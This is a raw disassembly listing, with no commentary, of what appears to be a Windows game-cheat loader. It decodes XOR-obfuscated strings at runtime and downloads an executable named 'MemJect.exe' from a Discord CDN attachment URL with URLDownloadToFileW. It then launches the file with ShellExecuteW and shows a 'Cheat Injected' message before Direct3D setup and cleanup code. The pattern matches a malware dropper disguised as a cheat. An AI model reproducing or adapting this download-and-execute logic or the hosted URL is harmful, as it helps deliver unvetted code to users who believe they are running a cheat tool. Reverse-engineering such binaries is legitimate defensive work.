mov eax, 0x1f
movaps xmm0, xmm1
movd xmm5, eax
mov eax, 0x4bdf1c
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4be100]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4be0e0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x4be110]
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [esp + 0x130], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4be100]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [esp + 0x138]
paddw xmm1, xmmword [0x4be110]
pxor xmm1, xmm0
movq qword [esp + 0x138], xmm1
nop
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x130], ax
inc esi
cmp esi, 0xd
jl 0x42ac60
push 0
push 0
push 0
push 0
lea eax, [esp + 0x140]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
je 0x42af92
movups xmm0, xmmword [str.CLII]
xor esi, esi
movups xmmword [esp + 0x150], xmm0
movups xmm0, xmmword [str.YP_.j_gIW_OXCHKTPQ_3B]
movups xmmword [esp + 0x160], xmm0
movq xmm0, qword [0x4bdf14]
movq qword [esp + 0x170], xmm0
cmp edi, 2
jl 0x42ae13
movaps xmm4, xmmword [0x4be0d0]
mov eax, 5
movaps xmm3, xmmword [0x4be520]
movaps xmm6, xmmword [0x4be100]
movd xmm5, eax
mov eax, 0x1f
movd xmm7, eax
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4be110]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x150]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x150], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4be110]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x158]
pxor xmm1, xmm0
movq qword [esp + esi*2 + 0x158], xmm1
add esi, 8
cmp esi, 0x10
jl 0x42ad13
cmp esi, 0x14
jge 0x42ae47
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 3
sub eax, ecx
add eax, 0x36
xor word [esp + esi*2 + 0x150], ax
inc esi
cmp esi, 0x14
jl 0x42ae13
cmp byte [0x4c81f0], 0
jne 0x42aea3
push 0
push 0
push str.MemJect.exe
push str.https:__cdn.discordapp.com_attachments_845254790019285012_860969465457934346_MemJect.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x42ae88
push 0
push str.https:__cdn.discordapp.com_attachments_845254790019285012_860969465457934346_MemJect.exe
push str.C:_Program_Files_Internet_Explorer_IEXPLORE.EXE
push str.MemJect.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push str.Success
push str.Cheat_Injected_
push 0
mov byte [0x4c81f0], 1
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.0040cba0
call fcn.00407b30
mov eax, dword [0x4c81a8]
push 0
push 7
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4c81a8]
push 0
push 0x1b
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4c81a8]
push 0
push 0xae
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4c81a8]
push 0
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push 0
push 3
push 0
push 0
push eax
call dword [ecx + 0xac]
mov eax, dword [0x4c81a8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x42af41
call fcn.00407dc0
mov eax, dword [0x4c8150]
xor ecx, ecx
add eax, 0x1c8c
cmp byte [eax], cl
cmovne ecx, eax
call fcn.00421870
mov eax, dword [0x4c81a8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov ecx, dword [0x4c81a8]
push 0
push 0
push 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x44]
cmp eax, 0x88760868
jne 0x42af73
mov eax, dword [0x4c81a8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x42af73
call fcn.0042b180
cmp byte [0x4c6a30], 0
je 0x42afb2
mov edi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [esp + 0x254], 0x12
jne 0x429e10
jmp 0x42afbd
push 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x2e4]
xor ecx, esp
call fcn.00475e9f
mov esp, ebp
pop ebp
ret 0x10
mov dword [esp + 0x254], 0x12
mov ecx, dword [0x4c8170]
test ecx, ecx
je 0x42b051
mov edx, dword [0x4c8174]
test edx, edx
je 0x42afeb
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [0x4c8170]
mov dword [0x4c8174], 0
mov edx, dword [0x4c816c]
test edx, edx
je 0x42b00b
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [0x4c8170]
mov dword [0x4c816c], 0
mov edx, dword [0x4c8168]
test edx, edx
je 0x42b03d
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov eax, dword [0x4c8150]
mov ecx, dword [0x4c8170]
mov dword [0x4c8168], 0
mov eax, dword [eax + 0x98]
mov dword [eax + 8], 0
test ecx, ecx
je 0x42b051
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4c8170], 0
mov esi, dword [0x4c8150]
mov ecx, esi
mov dword [0x4c817c], 0
call fcn.00406fa0
mov eax, dword [0x4c8150]
xor ecx, ecx
cmp eax, esi
cmove eax, ecx
mov dword [0x4c8150], eax
test esi, esi
je 0x42b0a2
mov ecx, esi
call fcn.00412aa0
mov eax, dword [0x4c8150]
test eax, eax
je 0x42b093
dec dword [eax + 0x374]
push dword [0x4c8148]
push esi
call fcn.00402880
add esp, 8
mov ecx, dword [0x4c81a8]
test ecx, ecx
je 0x42b0bc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4c81a8], 0
mov ecx, dword [0x4c8190]
test ecx, ecx
je 0x42b0d6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4c8190], 0
push dword [esp + 0x60]
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [esp + 0x214]
push dword [esp + 0x22c]
call dword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x2e4]
xor ecx, esp
call fcn.00475e9f
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [0x4c8190]
mov edx, dword [0x4c81a8]
test edx, edx
je 0x42b132
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [0x4c8190]
mov dword [0x4c81a8], 0
test ecx, ecx
je 0x42b146
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4c8190], 0
push dword [esp + 0x214]
push dword [esp + 0x22c]
call dword [sym.imp.USER32.dll_UnregisterClassW]
mov ecx, dword [esp + 0x2ec]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.00475e9f
mov esp, ebp
pop ebp
ret 0x10